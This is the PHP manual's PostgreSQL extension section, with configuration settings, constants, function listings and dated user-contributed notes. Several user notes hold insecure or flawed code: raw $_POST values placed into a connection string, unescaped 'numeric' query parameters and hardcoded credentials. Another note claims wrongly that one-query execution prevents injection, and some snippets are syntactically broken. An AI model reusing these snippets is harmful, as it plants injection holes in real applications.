krb5_32.dll
libeay32.dll
libiconv2.dll
libintl3.dll
libpq.dll
ssleay32.dll


Requirements

To use PostgreSQL support, you need PostgreSQL 6.5 or later, PostgreSQL 8.0 or later to enable all PostgreSQL module features. PostgreSQL supports many character encodings including multibyte character encoding. The current version and more information about PostgreSQL is available at » http://www.postgresql.org/ and the » PostgreSQL Documentation.

User Contributed Notes

There are no user contributed notes for this page.


Installation

In order to enable PostgreSQL support, --with-pgsql[=DIR] is required when you compile PHP. DIR is the PostgreSQL base install directory, defaults to /usr/local/pgsql. If shared object module is available, PostgreSQL module may be loaded using extension directive in php.ini or dl() function.

User Contributed Notes

zonetejasmikel at yahoo dot com 08-Apr-2014 04:04
if you get
/pgsql.c:789: error: 'from' undeclared (first use in this function)
etc. compiling in linux its a typo in the define of pgsql.c file

change to this
#if !HAVE_PQESCAPE_CONN
#define PQescapeStringConn(conn, to, from, len, error) PQescapeString(to, from, len)
#endif
samuel+php dot net at dionne-riel dot com 13-Aug-2010 02:31
On PHP 5.3, you may encounter this error.
    Cannot create new link. Too many open links

I did with Archlinux. pgsql.so was active.

To resolve the issue, I had to active pdo.so and pdo_pgsql.so. Hope this helps!
Serjik 28-Aug-2009 04:54
On a Windows server, configured with Apache, adding the following line to httpd.conf to load libpq.dll can save you a lot of time :

LoadFile "C:/Program Files/PostgreSQL/8.4/bin/libpq.dll"

Note that you will have to change your folder accordingly to the installation path and version of PostgreSQL you have installed. Also note that having Apache and PostgreSQL on the same server for production environments is not recommended.

Cheers,
Serjik
Anto Binish Kaspar 08-Jul-2009 01:39
An easy way to install in ubuntu(debain)
Just run " apt-get install php5-pgsql "
Simon 02-Mar-2009 05:59
Windows users should be mindful that since 5.2.6 it seems that the version of php_pgsql.dll supplied is dynamically linked and requires libpq.dll.

The version supplied in 5.2.5 is statically linked and does not have this dependency, if you cannot load the Postgres extension grab php_pgsql.dll from the 5.2.5 distribution


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

PostgreSQL configuration options
Name | Default | Changeable | Changelog
pgsql.allow_persistent | "1" | PHP_INI_SYSTEM |
pgsql.max_persistent | "-1" | PHP_INI_SYSTEM |
pgsql.max_links | "-1" | PHP_INI_SYSTEM |
pgsql.auto_reset_persistent | "0" | PHP_INI_SYSTEM | Available since PHP 4.2.0.
pgsql.ignore_notice | "0" | PHP_INI_ALL | Available since PHP 4.3.0.
pgsql.log_notice | "0" | PHP_INI_ALL | Available since PHP 4.3.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

pgsql.allow_persistent boolean

Whether to allow persistent Postgres connections.

pgsql.max_persistent integer

The maximum number of persistent Postgres connections per process.

pgsql.max_links integer

The maximum number of Postgres connections per process, including persistent connections.

pgsql.auto_reset_persistent integer

Detect broken persistent links with pg_pconnect(). Needs a little overhead.

pgsql.ignore_notice integer

Whether or not to ignore PostgreSQL backend notices.

pgsql.log_notice integer

Whether or not to log PostgreSQL backends notice messages. The PHP directive pgsql.ignore_notice must be off in order to log notice messages.

User Contributed Notes

ewl at compressedtime dot com 11-Mar-2014 04:36
Does "per process" mean the entire server process? or each process id (for forked processes)?


Resource Types

There are two resource types used in the PostgreSQL module. The first one is the link identifier for a database connection, the second a resource which holds the result of a query.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

PGSQL_LIBPQ_VERSION (string)
Short libpq version that contains only numbers and dots.
PGSQL_LIBPQ_VERSION_STR (string)
Long libpq version that includes compiler information.
PGSQL_ASSOC (integer)
Passed to pg_fetch_array(). Return an associative array of field names and values.
PGSQL_NUM (integer)
Passed to pg_fetch_array(). Return a numerically indexed array of field numbers and values.
PGSQL_BOTH (integer)
Passed to pg_fetch_array(). Return an array of field values that is both numerically indexed (by field number) and associated (by field name).
PGSQL_CONNECT_FORCE_NEW (integer)
Passed to pg_connect() to force the creation of a new connection, rather than re-using an existing identical connection.
PGSQL_CONNECT_ASYNC (integer)
Passed to pg_connect() to create an asynchronous connection. Added in PHP 5.6.0.
PGSQL_CONNECTION_BAD (integer)
Returned by pg_connection_status() indicating that the database connection is in an invalid state.
PGSQL_CONNECTION_OK (integer)
Returned by pg_connection_status() indicating that the database connection is in a valid state.
PGSQL_SEEK_SET (integer)
Passed to pg_lo_seek(). Seek operation is to begin from the start of the object.
PGSQL_SEEK_CUR (integer)
Passed to pg_lo_seek(). Seek operation is to begin from the current position.
PGSQL_SEEK_END (integer)
Passed to pg_lo_seek(). Seek operation is to begin from the end of the object.
PGSQL_EMPTY_QUERY (integer)
Returned by pg_result_status(). The string sent to the server was empty.
PGSQL_COMMAND_OK (integer)
Returned by pg_result_status(). Successful completion of a command returning no data.
PGSQL_TUPLES_OK (integer)
Returned by pg_result_status(). Successful completion of a command returning data (such as a SELECT or SHOW).
PGSQL_COPY_OUT (integer)
Returned by pg_result_status(). Copy Out (from server) data transfer started.
PGSQL_COPY_IN (integer)
Returned by pg_result_status(). Copy In (to server) data transfer started.
PGSQL_BAD_RESPONSE (integer)
Returned by pg_result_status(). The server's response was not understood.
PGSQL_NONFATAL_ERROR (integer)
Returned by pg_result_status(). A nonfatal error (a notice or warning) occurred.
PGSQL_FATAL_ERROR (integer)
Returned by pg_result_status(). A fatal error occurred.
PGSQL_TRANSACTION_IDLE (integer)
Returned by pg_transaction_status(). Connection is currently idle, not in a transaction.
PGSQL_TRANSACTION_ACTIVE (integer)
Returned by pg_transaction_status(). A command is in progress on the connection. A query has been sent via the connection and not yet completed.
PGSQL_TRANSACTION_INTRANS (integer)
Returned by pg_transaction_status(). The connection is idle, in a transaction block.
PGSQL_TRANSACTION_INERROR (integer)
Returned by pg_transaction_status(). The connection is idle, in a failed transaction block.
PGSQL_TRANSACTION_UNKNOWN (integer)
Returned by pg_transaction_status(). The connection is bad.
PGSQL_DIAG_SEVERITY (integer)
Passed to pg_result_error_field(). The severity; the field contents are ERROR, FATAL, or PANIC (in an error message), or WARNING, NOTICE, DEBUG, INFO, or LOG (in a notice message), or a localized translation of one of these. Always present.
PGSQL_DIAG_SQLSTATE (integer)
Passed to pg_result_error_field(). The SQLSTATE code for the error. The SQLSTATE code identifies the type of error that has occurred; it can be used by front-end applications to perform specific operations (such as error handling) in response to a particular database error. This field is not localizable, and is always present.
PGSQL_DIAG_MESSAGE_PRIMARY (integer)
Passed to pg_result_error_field(). The primary human-readable error message (typically one line). Always present.
PGSQL_DIAG_MESSAGE_DETAIL (integer)
Passed to pg_result_error_field(). Detail: an optional secondary error message carrying more detail about the problem. May run to multiple lines.
PGSQL_DIAG_MESSAGE_HINT (integer)
Passed to pg_result_error_field(). Hint: an optional suggestion what to do about the problem. This is intended to differ from detail in that it offers advice (potentially inappropriate) rather than hard facts. May run to multiple lines.
PGSQL_DIAG_STATEMENT_POSITION (integer)
Passed to pg_result_error_field(). A string containing a decimal integer indicating an error cursor position as an index into the original statement string. The first character has index 1, and positions are measured in characters not bytes.
PGSQL_DIAG_INTERNAL_POSITION (integer)
Passed to pg_result_error_field(). This is defined the same as the PG_DIAG_STATEMENT_POSITION field, but it is used when the cursor position refers to an internally generated command rather than the one submitted by the client. The PG_DIAG_INTERNAL_QUERY field will always appear when this field appears.
PGSQL_DIAG_INTERNAL_QUERY (integer)
Passed to pg_result_error_field(). The text of a failed internally-generated command. This could be, for example, a SQL query issued by a PL/pgSQL function.
PGSQL_DIAG_CONTEXT (integer)
Passed to pg_result_error_field(). An indication of the context in which the error occurred. Presently this includes a call stack traceback of active procedural language functions and internally-generated queries. The trace is one entry per line, most recent first.
PGSQL_DIAG_SOURCE_FILE (integer)
Passed to pg_result_error_field(). The file name of the PostgreSQL source-code location where the error was reported.
PGSQL_DIAG_SOURCE_LINE (integer)
Passed to pg_result_error_field(). The line number of the PostgreSQL source-code location where the error was reported.
PGSQL_DIAG_SOURCE_FUNCTION (integer)
Passed to pg_result_error_field(). The name of the PostgreSQL source-code function reporting the error.
PGSQL_ERRORS_TERSE (integer)
Passed to pg_set_error_verbosity(). Specified that returned messages include severity, primary text, and position only; this will normally fit on a single line.
PGSQL_ERRORS_DEFAULT (integer)
Passed to pg_set_error_verbosity(). The default mode produces messages that include the above plus any detail, hint, or context fields (these may span multiple lines).
PGSQL_ERRORS_VERBOSE (integer)
Passed to pg_set_error_verbosity(). The verbose mode includes all available fields.
PGSQL_STATUS_LONG (integer)
Passed to pg_result_status(). Indicates that numerical result code is desired.
PGSQL_STATUS_STRING (integer)
Passed to pg_result_status(). Indicates that textual result command tag is desired.
PGSQL_CONV_IGNORE_DEFAULT (integer)
Passed to pg_convert(). Ignore default values in the table during conversion.
PGSQL_CONV_FORCE_NULL (integer)
Passed to pg_convert(). Use SQL NULL in place of an empty string.
PGSQL_CONV_IGNORE_NOT_NULL (integer)
Passed to pg_convert(). Ignore conversion of NULL into SQL NOT NULL columns.
PGSQL_DML_NO_CONV (integer)
Passed to pg_insert(), pg_select(), pg_update() and pg_delete(). All parameters passed as is. Manual escape is required if parameters contain user supplied data. Use pg_escape_string() for it.
PGSQL_DML_EXEC (integer)
Passed to pg_insert(), pg_select(), pg_update() and pg_delete(). Execute query by these functions.
PGSQL_DML_ASYNC (integer)
Passed to pg_insert(), pg_select(), pg_update() and pg_delete(). Execute asynchronous query by these functions.
PGSQL_DML_STRING (integer)
Passed to pg_insert(), pg_select(), pg_update() and pg_delete(). Return executed query string.
PGSQL_DML_ESCAPE (integer)
Passed to pg_insert(), pg_select(), pg_update() and pg_delete(). Apply escape to all parameters instead of calling pg_convert() internally. This option omits meta data look up. Query could be as fast as pg_query() and pg_send_query().
PGSQL_POLLING_FAILED (integer)
Returned by pg_connect_poll() to indicate that the connection attempt failed.
PGSQL_POLLING_READING (integer)
Returned by pg_connect_poll() to indicate that the connection is waiting for the PostgreSQL socket to be readable.
PGSQL_POLLING_WRITING (integer)
Returned by pg_connect_poll() to indicate that the connection is waiting for the PostgreSQL socket to be writable.
PGSQL_POLLING_OK (integer)
Returned by pg_connect_poll() to indicate that the connection is ready to be used.
PGSQL_POLLING_ACTIVE (integer)
Returned by pg_connect_poll() to indicate that the connection is currently active.

User Contributed Notes

There are no user contributed notes for this page.


Basic usage

This simple example shows how to connect, execute a query, print resulting rows and disconnect from a PostgreSQL database.

Example #1 PostgreSQL extension overview example

<?php
// Connecting, selecting database
$dbconn = pg_connect("host=localhost dbname=publishing user=www password=foo")
    or die('Could not connect: ' . pg_last_error());

// Performing SQL query
$query = 'SELECT * FROM authors';
$result = pg_query($query) or die('Query failed: ' . pg_last_error());

// Printing results in HTML
echo "<table>\n";
while ($line = pg_fetch_array($result, null, PGSQL_ASSOC)) {
    echo "\t<tr>\n";
    foreach ($line as $col_value) {
        echo "\t\t<td>$col_value</td>\n";
    }
    echo "\t</tr>\n";
}
echo "</table>\n";

// Free resultset
pg_free_result($result);

// Closing connection
pg_close($dbconn);
?>

User Contributed Notes

There are no user contributed notes for this page.


PostgreSQL Functions

Notes

Note:

Not all functions are supported by all builds. It depends on your libpq (The PostgreSQL C client library) version and how libpq is compiled. If PHP PostgreSQL extensions are missing, then it is because your libpq version does not support them.

Note:

Most PostgreSQL functions accept connection as the optional first parameter. If it is not provided, the last opened connection is used. If it doesn't exist, functions return FALSE.

Note:

PostgreSQL automatically folds all identifiers (e.g. table/column names) to lower-case values at object creation time and at query time. To force the use of mixed or upper case identifiers, you must escape the identifier using double quotes ("").

Note:

PostgreSQL does not have special commands for fetching database schema information (eg. all the tables in the current database). Instead, there is a standard schema named information_schema in PostgreSQL 7.4 and above containing system views with all the necessary information, in an easily queryable form. See the » PostgreSQL Documentation for full details.

Table of Contents

  • pg_affected_rows — Returns number of affected records (tuples)
  • pg_cancel_query — Cancel an asynchronous query
  • pg_client_encoding — Gets the client encoding
  • pg_close — Closes a PostgreSQL connection
  • pg_connect_poll — Poll the status of an in-progress asynchronous PostgreSQL connection attempt.
  • pg_connect — Open a PostgreSQL connection
  • pg_connection_busy — Get connection is busy or not
  • pg_connection_reset — Reset connection (reconnect)
  • pg_connection_status — Get connection status
  • pg_consume_input — Reads input on the connection
  • pg_convert — Convert associative array values into suitable for SQL statement
  • pg_copy_from — Insert records into a table from an array
  • pg_copy_to — Copy a table to an array
  • pg_dbname — Get the database name
  • pg_delete — Deletes records
  • pg_end_copy — Sync with PostgreSQL backend
  • pg_escape_bytea — Escape a string for insertion into a bytea field
  • pg_escape_identifier — Escape a identifier for insertion into a text field
  • pg_escape_literal — Escape a literal for insertion into a text field
  • pg_escape_string — Escape a string for query
  • pg_execute — Sends a request to execute a prepared statement with given parameters, and waits for the result.
  • pg_fetch_all_columns — Fetches all rows in a particular result column as an array
  • pg_fetch_all — Fetches all rows from a result as an array
  • pg_fetch_array — Fetch a row as an array
  • pg_fetch_assoc — Fetch a row as an associative array
  • pg_fetch_object — Fetch a row as an object
  • pg_fetch_result — Returns values from a result resource
  • pg_fetch_row — Get a row as an enumerated array
  • pg_field_is_null — Test if a field is SQL NULL
  • pg_field_name — Returns the name of a field
  • pg_field_num — Returns the field number of the named field
  • pg_field_prtlen — Returns the printed length
  • pg_field_size — Returns the internal storage size of the named field
  • pg_field_table — Returns the name or oid of the tables field
  • pg_field_type_oid — Returns the type ID (OID) for the corresponding field number
  • pg_field_type — Returns the type name for the corresponding field number
  • pg_flush — Flush outbound query data on the connection
  • pg_free_result — Free result memory
  • pg_get_notify — Gets SQL NOTIFY message
  • pg_get_pid — Gets the backend's process ID
  • pg_get_result — Get asynchronous query result
  • pg_host — Returns the host name associated with the connection
  • pg_insert — Insert array into table
  • pg_last_error — Get the last error message string of a connection
  • pg_last_notice — Returns the last notice message from PostgreSQL server
  • pg_last_oid — Returns the last row's OID
  • pg_lo_close — Close a large object
  • pg_lo_create — Create a large object
  • pg_lo_export — Export a large object to file
  • pg_lo_import — Import a large object from file
  • pg_lo_open — Open a large object
  • pg_lo_read_all — Reads an entire large object and send straight to browser
  • pg_lo_read — Read a large object
  • pg_lo_seek — Seeks position within a large object
  • pg_lo_tell — Returns current seek position a of large object
  • pg_lo_truncate — Truncates a large object
  • pg_lo_unlink — Delete a large object
  • pg_lo_write — Write to a large object
  • pg_meta_data — Get meta data for table
  • pg_num_fields — Returns the number of fields in a result
  • pg_num_rows — Returns the number of rows in a result
  • pg_options — Get the options associated with the connection
  • pg_parameter_status — Looks up a current parameter setting of the server.
  • pg_pconnect — Open a persistent PostgreSQL connection
  • pg_ping — Ping database connection
  • pg_port — Return the port number associated with the connection
  • pg_prepare — Submits a request to create a prepared statement with the given parameters, and waits for completion.
  • pg_put_line — Send a NULL-terminated string to PostgreSQL backend
  • pg_query_params — Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text.
  • pg_query — Execute a query
  • pg_result_error_field — Returns an individual field of an error report.
  • pg_result_error — Get error message associated with result
  • pg_result_seek — Set internal row offset in result resource
  • pg_result_status — Get status of query result
  • pg_select — Select records
  • pg_send_execute — Sends a request to execute a prepared statement with given parameters, without waiting for the result(s).
  • pg_send_prepare — Sends a request to create a prepared statement with the given parameters, without waiting for completion.
  • pg_send_query_params — Submits a command and separate parameters to the server without waiting for the result(s).
  • pg_send_query — Sends asynchronous query
  • pg_set_client_encoding — Set the client encoding
  • pg_set_error_verbosity — Determines the verbosity of messages returned by pg_last_error and pg_result_error.
  • pg_socket — Get a read only handle to the socket underlying a PostgreSQL connection
  • pg_trace — Enable tracing a PostgreSQL connection
  • pg_transaction_status — Returns the current in-transaction status of the server.
  • pg_tty — Return the TTY name associated with the connection
  • pg_unescape_bytea — Unescape binary for bytea type
  • pg_untrace — Disable tracing of a PostgreSQL connection
  • pg_update — Update table
  • pg_version — Returns an array with client, protocol and server version (when available)

User Contributed Notes

Tony Murray 13-May-2012 06:52
A simple conversion for 1D PostgreSQL array data:

// =====
//Example #1 (An array of IP addresses):
<?php
  $pgsqlArr = '{192.168.1.1,10.1.1.1}';

  preg_match('/^{(.*)}$/', $pgsqlArr, $matches);
  $phpArr = str_getcsv($matches[1]);

  print_r($phpArr);
}
// Output:
// Array
// (
//    [0] => 192.168.1.1
//    [1] => 10.1.1.1
// )
// =====

// =====
// Example #2 (An array of strings including spaces and commas):
<?php
  $pgsqlArr = '{string1,string2,"string,3","string 4"}';

  preg_match('/^{(.*)}$/', $pgsqlArr, $matches);
  $phpArr = str_getcsv($matches[1]);

  print_r($phpArr);
}
// Output:
// Array
// (
//    [0] => string1
//    [1] => string2
//    [2] => string,3
//    [3] => string 4
// )
// =====
17-Nov-2006 01:30
Chris KL: Will parse well {"\\"}? The second " will be treat as escaped while it shoudn't...
21-Oct-2006 07:10
Lots of advice on stored procedures didn't work for me.  This did:

<?php
$response = pg_query( $connection, "BEGIN; DECLARE s CURSOR FOR SELECT get_consumer('harry'); FETCH ALL IN s; END;" );
?>

..where harry looks like this:

CREATE OR REPLACE FUNCTION get_consumer( varchar )
RETURNS refcursor
AS '
DECLARE
  _name          ALIAS FOR $1;
  r              refcursor;
BEGIN
  OPEN r FOR SELECT name FROM consumer
  WHERE
    consumer.name = _name
  ;
  RETURN r;
END
' LANGUAGE 'plpgsql';
Chris KL 11-Nov-2005 02:17
Here is a better array parser for PHP.  It will work with 1-d arrays only.  Unlike the example below it will work in all cases.

    /**
     * Change a db array into a PHP array
     * @param $arr String representing the DB array
     * @return A PHP array
     */
    function phpArray($dbarr) {
        // Take off the first and last characters (the braces)
        $arr = substr($dbarr, 1, strlen($dbarr) - 2);

        // Pick out array entries by carefully parsing.  This is necessary in order
        // to cope with double quotes and commas, etc.
        $elements = array();
        $i = $j = 0;
        $in_quotes = false;
        while ($i < strlen($arr)) {
            // If current char is a double quote and it's not escaped, then
            // enter quoted bit
            $char = substr($arr, $i, 1);
            if ($char == '"' && ($i == 0 || substr($arr, $i - 1, 1) != '\\'))
                $in_quotes = !$in_quotes;
            elseif ($char == ',' && !$in_quotes) {
                // Add text so far to the array
                $elements[] = substr($arr, $j, $i - $j);
                $j = $i + 1;
            }
            $i++;
        }
        // Add final text to the array
        $elements[] = substr($arr, $j);

        // Do one further loop over the elements array to remote double quoting
        // and escaping of double quotes and backslashes
        for ($i = 0; $i < sizeof($elements); $i++) {
            $v = $elements[$i];
            if (strpos($v, '"') === 0) {
                $v = substr($v, 1, strlen($v) - 2);
                $v = str_replace('\\"', '"', $v);
                $v = str_replace('\\\\', '\\', $v);
                $elements[$i] = $v;
            }
        }

        return $elements;
    }
1413 at blargh dot com 12-Oct-2005 02:09
Here is some quick and dirty code to convert Postgres-returned arrays into PHP arrays.  There's probably a billion bugs, but since I'm only dealing with variable-depth-and-length arrays of integers, it works for my needs.

Most notably, any data that might have commas in it won't work right...

<?php
function PGArrayToPHPArray($pgArray)
{
  $ret = array();
  $stack = array(&$ret);
  $pgArray = substr($pgArray, 1, -1);
  $pgElements = explode(",", $pgArray);

  ArrayDump($pgElements);

  foreach($pgElements as $elem)
    {
      if(substr($elem,-1) == "}")
        {
          $elem = substr($elem,0,-1);
          $newSub = array();
          while(substr($elem,0,1) != "{")
            {
              $newSub[] = $elem;
              $elem = array_pop($ret);
            }
          $newSub[] = substr($elem,1);
          $ret[] = array_reverse($newSub);
        }
      else
        $ret[] = $elem;
    }
  return $ret;
}
?>
anis_wn at gawab dot com 06-Jun-2005 06:45
Setting up PostgreSQL for higher security PHP connection.

Case:
We want to connect to PostgreSQL database using username and password supplied by webuser at login time.

Fact (Linux):
Apache (perhaps other servers, too) running the server as (default to) apache user account. So if you connect to PostgreSQL using default user, apache will be assingned for it. If you hard code the user and password in your PHP script, you'll loose security restriction from PostgreSQL.

Solution:
(You are assumed to have enough privilege to do these things, though)
1. Edit pg_hba.conf to have the line like the one below
    host    db_Name    [web_server_ip_address] [ip_address_mask] md5
2. Add to you script the login page that submits username and password.
3. Use those information to login to PostgreSQL like these...
<?
    $conn = "host=$DBHost port=$DBPort dbname=$DBName ".
            "user='{$_POST['dbUsername']}' password='{$_POST['dbPassword']}'";
    $db = pg_connect ($conn);
[your other codes go here...]
?>
4. You must add users in PostgreSQL properly.
5. For your convenience, you can store the username and password to $_SESSION variable.

Good luck.
Anis WN
WillowCatkin at hotmail dot com 21-May-2005 03:43
There is an example:
<?php
/*
 * Define PostgreSQL database server connect parameters.
 */
define('PGHOST','10.0.0.218');
define('PGPORT',5432);
define('PGDATABASE','example');
define('PGUSER', 'root');
define('PGPASSWORD', 'nopass');
define('PGCLIENTENCODING','UNICODE');
define('ERROR_ON_CONNECT_FAILED','Sorry, can not connect the database server now!');

/*
 * Merge connect string and connect db server with default parameters.
 */
pg_pconnect('host=' . PGHOST . ' port=' . PGPORT . ' dbname=' . PGDATABASE . ' user=' . PGUSER . ' password=' . PGPASSWORD);

/*
 * generate sql statements to call db-server-side stored procedure(or function)
 * @parameter    string    $proc        stored procedure name.
 * @parameter    array    $paras        parameters, 2 dimensions array.
 * @return        string    $sql = 'select "proc"(para1,para2,para3);'
 * @example    pg_prepare('userExists',
 *                            array(
 *                                array('userName','chin','string'),
 *                                array('userId','7777','numeric')
 *                            )
 * )
 */
function pg_prepare($proc, $paras)
{
    $sql = 'select "' . $proc . '"(';
    $sql .= $paras[0][2] == 'numeric' ? $paras[0][1] : "'" . str_replace("'","''",$paras[0][1]) . "'";
    $len = count($paras);
    for ($i = 1; $i < $len; $i ++)
    {
        $sql .= ',';
        $sql .= $paras[$i][2] == 'numeric' ? $paras[$i][1] : "'" . str_replace("'","''",$paras[$i][1]) . "'";
    }
    $sql .= ');';
    return $sql;
}
?>
adaml at mimuw edu pl 02-Oct-2004 03:07
Yes, PHP does support stored procedures
You have to add "select" before the name of the
procedure, just like that:

$result = pg_querry($conn, "SELECT procedure_x($aa)");

if a procedure returns a cursor you do something like that:

$result = pg_query($conn, "SELECT procedure_x('rcursor'); FETCH ALL IN rcursor");
74012 dot 2773 at compuserve dot com 02-Jul-2004 06:35
for just a list of tables, this works with postgresql-7.2.1:

function pg_list_tables($db) {
    $sql = "select relname from pg_stat_user_tables order by relname;";
    return pg_query($db, $sql);
}
abondi at ijk dot it 26-May-2004 02:11
I've found another function to mimic the following mysql list tables function (http://www.php.net/manual/en/function.mysql-list-tables.php) that's more useful for my target:

function pg_list_tables() {
      $sql = "SELECT a.relname AS Name
          FROM pg_class a, pg_user b
          WHERE ( relkind = 'r') and relname !~ '^pg_' AND relname !~ '^sql_'
          AND relname !~ '^xin[vx][0-9]+' AND b.usesysid = a.relowner
          AND NOT (EXISTS (SELECT viewname FROM pg_views WHERE viewname=a.relname));";
      return(pg_query($conn, $sql));
}
daniel at bichara dot com dot br 31-Dec-2002 02:04
Running RedHat Linux and Apache with suexec enabled you must include pgsql.so on each .php file using dl("pgsql.so") and remove "extension=pgsql.so" from php.ini, otherwise Apache (httpd) will not start.
anonymous at unknown dot com 29-Nov-2002 06:50
I just wanted to add to my previous post I've got the system up and running.
Environment: Windows XP, Apache 1.3.23, Php 4.3 RC2, PostGreSQL beta4 native windows build

Installation was fairly easy:
1. read the readme.txt
2. edit the setenv.bat as described in readme
3. run 'initdb'
    all execs are in /bin
    help is accessed like <command> --help
4. Start the psql deamon - you may want to create a batch file like
    'D:\postgres_beta4\bin\postmaster -h localhost -D D:/postgres_beta4/data'

    --deamon should be up and running now--

You can login into a shell from a console like
    'psql -h localhost -d <username>'

You must load the postgresql extension by editing the php.ini and restarting apache in order to access psql with php.

And one final not: when running
    $dbconn = pg_connect ("host=localhost port=5432 dbname=$dbname user=$user");
remember that $user and or $dbname is CASESENSITIVE.

Oh yeah, I created the data dir manually - don't know whether that was necessary

Grtz Vargo
mystran at wasteland dot pp dot htv dot fi 04-Feb-2002 04:46
Nice to know fact that I didn't find documented here.

PHP will return values of PostgreSQL boolean datatype as single character strings "t" and "f", not PHP true and false.

[Editor's Note]
't' or 'f' is valid boolean expression for PostgreSQL.

All values from PostgreSQL are strings, since PostgreSQL integer, float may be much larger than PHP's native int, double can handle. PostgreSQL array is not supported.
saberit at home dot com 15-Sep-2001 11:11
I tried compiling PHP from source with PostgreSQL support (./configure --with-pgsql=/usr/local/pgsql) and ran into a bunch of problems when trying to 'make'. The problem was that some of the PostgreSQL headers were not installed by default when I installed PostgreSQL from source. When installing PostgreSQL make sure you 'make install-all-headers' after you 'make install'.
hubert at hubertmuller dot com 10-Jul-2001 01:36
The best way to find the separated list of tables, sequences, keys etc is:

SELECT relname FROM pg_class WHERE relkind='<value>' AND relname !~ '^pg_';

<value> takes:
i for keys,
r for relations,
S for sequences

Note that all tables names that begins with 'pg_' are PostgreSQL internal tables (this explain why I use AND relname !~ '^pg_' condition).
passion at monkey dot org 28-Jun-2001 03:53
I've tried to mimic the following mysql database connection functions for postgres.
http://www.php.net/manual/en/function.mysql-list-dbs.php
http://www.php.net/manual/en/function.mysql-list-tables.php

These are assuming that you're passing in $link as the result from pg_connect:

function pg_list_dbs($link)
{
    $sql = 'SELECT datname FROM pg_database';
    return (pg_query($link, $sql));
}

function pg_list_tables($link)
{
    $sql = "SELECT relname FROM pg_class WHERE relname !~ '^pg_'";
    return (pg_query($link, $sql));
}
!spamcraig at ahdore dot com 15-Apr-2001 10:11
If you want to extract data from select statements, you need to store the result index, and then apply pg_result to that value. Basically, do this

$resultIdx = pg_query ($database, "select * from tablename");
$mySelect = pg_fetch_result($resultIdx, 0, 0);  // gets column 0 of tuple 0
echo("My select: [".$mySelect."]");

I'm new to php and had to do some fiddling around to work this out. It's reasonably elementary, but not demonstrated by the examples on these pages. Hopefully it will come in useful to someone else.
bleach at chek dot com 02-Mar-2000 09:36
If you want to see all the objects in a database, you can find that information in the pg_class table. <BR>
SELECT * FROM pg_class;<BR>
Now this is going to be kind of long and complex, to see how psql command handles the \d and other things. use the syntax.  psql -E <Database>, ie psql -E mydatabase <BR>
What this will do is show the SQL command used for everything. So when you type a \d or something, it shows the SQL query used for the result.


Returns number of affected records (tuples)

  • « PostgreSQL Functions
  • pg_cancel_query »
  • PHP Manual
  • PostgreSQL Functions
  • Returns number of affected records (tuples)

pg_affected_rows

(PHP 4 >= 4.2.0, PHP 5)

pg_affected_rows — Returns number of affected records (tuples)

Description

int pg_affected_rows ( resource $result )

pg_affected_rows() returns the number of tuples (instances/records/rows) affected by INSERT, UPDATE, and DELETE queries.

Since PostgreSQL 9.0 and above, the server returns the number of SELECTed rows. Older PostgreSQL return 0 for SELECT.

Note:

This function used to be called pg_cmdtuples().

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

Return Values

The number of rows affected by the query. If no tuple is affected, it will return 0.

Examples

Example #1 pg_affected_rows() example

<?php
$result = pg_query($conn, "INSERT INTO authors VALUES ('Orwell', 2002, 'Animal Farm')");

$cmdtuples = pg_affected_rows($result);

echo $cmdtuples . " tuples are affected.\n";
?>

The above example will output:

1 tuples are affected.

See Also

  • pg_query() - Execute a query
  • pg_query_params() - Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text.
  • pg_execute() - Sends a request to execute a prepared statement with given parameters, and waits for the result.
  • pg_num_rows() - Returns the number of rows in a result

User Contributed Notes

Anonymous 20-Dec-2007 12:02
There is something called auto-commit, when you supply more than one query delimited by ; semicolon all-or-none is done if one fails. No need for BEGIN;COMMIT;ROLLBACK when doing one query. its logic to mee pg_affected_rows() returns affected rows and if you want to do 2 queries apart from each other.. do a BEGIN and then 1 and get pg_affected_rows() then do 2 and get pg_affected_rows() and then finally do COMMIT;
Anonymous 14-Nov-2007 04:45
pg-affected-rows () only runs on the LAST SQL STATEMENT executed.  If you compound several statements together then pg_affected_rows might not return what you expect.

For example:

<?php

$result = pg_query ('BEGIN; INSERT INTO foo (bar) VALUES (\'baz\'; COMMIT');

echo (pg_affected_rows ($result));

?>

will cause 0 to be printed, because the last statement executed by Postgres was COMMIT, which doesn't affect any rows.

I haven't tried this so am not certain it works, but you SHOULD be able to get the row counts you want if you split your queries up.

For example:

<?php

$result = pg_query ('BEGIN; INSERT INTO foo (bar) VALUES (\'baz\';');

echo (pg_affected_rows ($result));

pg_query ('COMMIT;');
?>

should allow you to get the number of rows affected by the previous query.  I haven't tried this yet though, so don't count on it.
05-Aug-2005 12:31
That's not quite true, I've been able to execute multiple queries in a single call just fine. In stead, it has to do with the fact this function returns the affected rows for the last executed query, not the last set of queries specified to a single call to pg_query.
29-Jun-2005 03:15
Concering Bruno Baguette's note:

The pg_query function only allows one query per function call.  When you do your
$sql="BEGIN;
INSERT ...
COMMIT;";
$result=pg_query($conn,$sql);
echo pg_affected_rows($result);

you get a zero, because only the BEGIN; is executed.

The single query per call is, I beleive, a PHP builtin protection against SQL injection attacks.  (Ie someone submitting a string paramter that ends the current query and appends another one)
Bruno Baguette 28-Jun-2005 10:45
Note that when you submit several SQL queries, within one BEGIN;COMMIT; like this one :

$SQLQuery = 'BEGIN;';
$SQLQuery.= 'INSERT INTO a (a,b) VALUES (1,2);';
$SQLQuery.= 'INSERT INTO b (ref_b,c) VALUES (2,5);';
$SQLQuery.= 'COMMIT;';

$HandleResults = pg_query($SQLQuery);
echo(pg_affected_rows($HandleResults));

pg_affected_rows() will return 0


Cancel an asynchronous query

  • « pg_affected_rows
  • pg_client_encoding »
  • PHP Manual
  • PostgreSQL Functions
  • Cancel an asynchronous query

pg_cancel_query

(PHP 4 >= 4.2.0, PHP 5)

pg_cancel_query — Cancel an asynchronous query

Description

bool pg_cancel_query ( resource $connection )

pg_cancel_query() cancels an asynchronous query sent with pg_send_query(), pg_send_query_params() or pg_send_execute(). You cannot cancel a query executed using pg_query().

Parameters

connection

PostgreSQL database connection resource.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pg_cancel_query() example

<?php
